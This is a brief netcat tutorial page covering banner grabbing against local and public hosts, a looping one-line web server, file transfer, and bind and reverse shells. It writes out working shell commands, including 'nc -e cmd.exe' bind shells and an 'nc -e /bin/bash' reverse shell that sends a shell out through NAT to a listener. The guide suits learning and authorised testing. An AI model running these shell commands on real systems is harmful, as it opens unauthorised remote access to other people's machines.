Netcat HowTo Banner Grabbing, Bind Shell, Reverse Shell and Webserver
Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities
Although NetCat is not the state of the art tool anymore and it sends all packets uncrypted through the net, it´s still a very good tool for easy banner grabbing, binding shells or reverse shells.
Banner Grabbing Commandline:
nc -v 192.168.0.200 21
nslookup -querytype=mx debian.org
nc -v xxx.debian.org 25
nslookup -querytype=mx dell.com
nc -v xxx.dell.com 25
nc -v 192.168.0.200 80
GET / HTTP/1.1
nc -v www.dell.com 80
GET / HTTP/1.1
nc -v 192.168.0.200 21
Weberserver Commandline:
while true; do nc -l -p 80 -q 1 < bla.html; done
File Transfer Commandline:
windows maschine file server nc -lvp 4444 > captured.txt
linux maschine: nc -v target-ip < info.txt this cmd will send the content of the file INFO.TXT to the Server into the file CAPTURED.TXT
Shell Commandlines:
Bind Shell
windows maschine: nc -lvp 4444 -e cmd.exe
linux maschine: nc -v 192.168.0.200 4444
Connecting from the linux system to the windows system,
which isn´t located behind a NAT System.
Reverse Shell
windows maschine: nc -lvp 4444
linux maschine: nc -nv 192.168.0.200 4444 -e /bin/bash
/sbin/ifconfig
Sending a /bin/bash Shell from a Linux system behind a NAT to the
windows system, which is listening on port 4444. traversing NAT.
